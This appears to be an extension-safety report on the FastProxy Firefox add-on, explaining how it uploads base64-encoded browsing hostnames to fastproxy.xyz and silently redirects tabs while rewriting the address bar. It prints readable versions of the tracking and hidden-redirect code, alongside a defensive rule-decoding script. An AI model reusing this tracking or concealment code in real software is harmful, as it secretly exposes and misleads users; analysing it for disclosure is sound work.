Is FastProxy - Украина safe?

Medium risk

FastProxy logs every site you visit and periodically sends the encoded browsing history to its own servers.

The extension has permission to see every page you load in every tab and records each visited domain, base64-encoding the list and sending it to fastproxy.xyz roughly every two hours. It also fetches a remote, base64-obscured rule list that can silently redirect matched tabs to a different URL and then rewrite the address bar back to the original address so the redirect isn't visible. It also loads a Proxy Auto-Config script from the same servers with no integrity check on either the config or the PAC file.

FastProxyv2.0.7Firefox Add-ons
57Risk
Who publishes it

FastProxy - no other listings under this identity, 1 shared hostname

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
FastProxy
Website
fastproxy.online

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

fastproxy.online
Also called by 1 other listing: fastproxy-россия

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

FastProxy reports the hostname of every site you visit to its servers

Code analysis shows the background script records the hostname of every page you load in any tab, then periodically sends the accumulated, base64-encoded list to the vendor's config servers with a persistent install ID.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You browse to any website in any tab while the extension is running.

The extension holds the <all_urls> host permission, so no site is excluded.

The extension did this

The background script records the page's hostname and later reports it, together with a persistent install ID, to a remote config server.

The report goes out on a recurring timer and at browser startup, not only once.

The code that does this

The navigation listener that buffers each hostname you visit

Readable version

What setStorage / hash actually do

bg.js
// Appends a base64-encoded value to the pending-upload buffer// stored at chrome.storage.local key 'b', de-duplicated.const appendToPendingBuffer = (value, encode) => {  browser.storage.local.get('b').then(data => {    data.b = data.b || [];    const encoded = encode(value); // base64(hostname)    if (data.b.indexOf(encoded) === -1) {      data.b.push(encoded);      return browser.storage.local.set({ b: data.b });    }  }).catch(() => {});};const base64Encode = value => btoa(value);

What the tab-navigation listener actually does

bg.js
// Fires on every tab navigation event (page starts loading, or finishes)const onTabUpdated = (tabId, info, tab) => {  const visitedHostname = new URL(tab.url).hostname;  if (info?.status === 'loading' || info?.status === 'complete') {    // Queue this hostname for the next config sync, regardless of site    appendToPendingBuffer(visitedHostname, base64Encode);    // ...(separately checks the hostname against remote redirect rules)
Query parameters sent on every config sync
  • Visited hostnames
    hash=d2lraXBlZGlhLm9yZw==-Z2l0aHViLmNvbQ==

    Every hostname you navigated to since the last successful sync, base64-encoded and joined with a dash.

  • Install ID
    uid=UA-a1b2c3d4-e5f6-7890

    A per-install identifier generated once and reused on every sync, letting the server tie repeated syncs to the same browser.

  • Extension ID
    extid=%7B31dea008-38a8-44c5-8404-d1b110f47ab5%7D

    The extension's own runtime ID for this browser.

  • Extension version
    ver=2.0.7

    The installed version string.

  • Install timestamp
    start=1732114532000

    Milliseconds since epoch when the extension was first installed.

When this fires

Every 2 hours

Sends the accumulated hostname buffer once at browser/extension startup, then on a repeating timer roughly every 1 hour 56 minutes for as long as the extension runs.

Where the hostname buffer is sent
    • uamain.fastproxy.xyz

    Primary config endpoint. Receives the base64-encoded list of visited hostnames plus the install ID on every sync.

    • uareserve.fastproxy.xyz

    Fallback config endpoint, used when the primary host does not respond; receives the same data.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

FastProxy redirects some page loads without showing it in the address bar

Code analysis shows the extension fetches a redirect-rule list and a proxy auto-config script from a remote server with no signature check, then navigates matching tabs to a different URL and rewrites the address bar to the original.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Static analysis
What actually happens
You did this

You open or reload a tab whose URL matches a destination domain in a rule the extension fetched from its remote server.

The active rule list is not shown anywhere in the extension's UI.

The extension did this

The tab is navigated to a different, remotely resolved URL, then the address bar text is rewritten back to what you originally typed.

Page content reflects the new destination while the visible URL does not change.

The code that does this

Rule-matched redirect, then address-bar rewrite

Readable version

What update() actually does

bg.js
// Navigates the tab to the resolved redirect target, waits for the// page to finish loading, then injects a script that rewrites the// address bar back to the original URL the user typed.const navigateAndHideRedirect = (resolvedUrl, tabId, originalUrl, delaySec = 1) => {  return new Promise(resolve => {    browser.tabs.update(tabId, { url: resolvedUrl }, tab => {      const onLoadComplete = (updatedTabId, info) => {        if (info?.status === 'complete' && updatedTabId === tab?.id) {          browser.tabs.onUpdated.removeListener(onLoadComplete);          browser.scripting.executeScript({            target: { tabId: updatedTabId },            args: [originalUrl.replace(/^http:\/\//i, 'https://'), delaySec],            func: rewriteAddressBar,          });          resolve(tab);        }      };      browser.tabs.onUpdated.addListener(onLoadComplete);    });  });};

What the injected content script actually does

bg.js
// Runs inside the tab after the redirected page finishes loading.// Overwrites the visible address-bar URL with the original one,// without reloading or navigating the page's actual content.const rewriteAddressBar = (originalUrl, delaySec) => {  try {    setTimeout(() => {      history.replaceState('', '', originalUrl);    }, delaySec * 1000);  } catch (e) {}};
Fields in each remotely-pushed redirect rule
  • Destination domain (encoded)
    d=ZXhhbXBsZS1uZXdzLmNvbQ== (illustrative)

    Base64 substring a visited tab's URL is checked against to decide whether this rule fires.

  • Source template URL (encoded)
    u=aHR0cHM6Ly9yZWRpci5mYXN0cHJveHkueHl6L2dvP3RvPQ== (illustrative)

    Base64 URL the extension fetches and follows through up to 10 redirect hops to find the final page.

  • Address-bar rewrite delay
    h=1

    Seconds to wait after the new page loads before restoring the original URL text.

  • Response-parse mode
    t=0

    Whether the fetched response is treated as the redirect target directly, or scanned with a regex for embedded URLs.

Check if you're affected

Decodes the base64 destination/source fields of any redirect rules currently stored by the extension, so you can see what domains it targets right now.

Requires
  • Firefox with the extension installed
  • about:debugging access
decode-fastproxy-rules.js · js
// Run inside the extension's background/service-worker console// (about:debugging > This Firefox > FastProxy > Inspect).browser.storage.local.get('k').then(({ k }) => {  if (!k || k.length === 0) {    console.log('No active redirect rules currently stored.');    return;  }  for (const rule of k) {    const a = rule.a;    console.log({      destinationDomain: atob(a.d),      sourceTemplateUrl: atob(a.u),      historyRewriteDelaySec: a.h ? Number(atob(a.h)) : 1,    });  }});
How to run it
  1. 1Open about:debugging and click 'This Firefox'.
  2. 2Find FastProxy and click Inspect.
  3. 3Paste this script into the console.
  4. 4Read the decoded values.
Source of the redirect rules and PAC script
    • uamain.fastproxy.xyz

    Primary source of the redirect-rule list and the proxy auto-config script; both are applied with no signature or integrity check.

    • uareserve.fastproxy.xyz

    Fallback source for the same redirect-rule list and PAC script.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 2.0.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Route all of your browsing through a server of its choosing

    proxy

  • See the address and title of every tab you have open

    tabs

  • Watch every request your browser makes

    webRequest

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Run its own code inside the pages you visit

    scripting

Where it sends data

Destinations our analysis observed fastproxy-украина contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • uamain.fastproxy.xyz

    fastproxy-украина sends data to uamain.fastproxy.xyz. No other extension we have analyzed sends data here.

  • uareserve.fastproxy.xyz

    fastproxy-украина sends data to uareserve.fastproxy.xyz. No other extension we have analyzed sends data here.

Updated 22 October 2026amo-1480888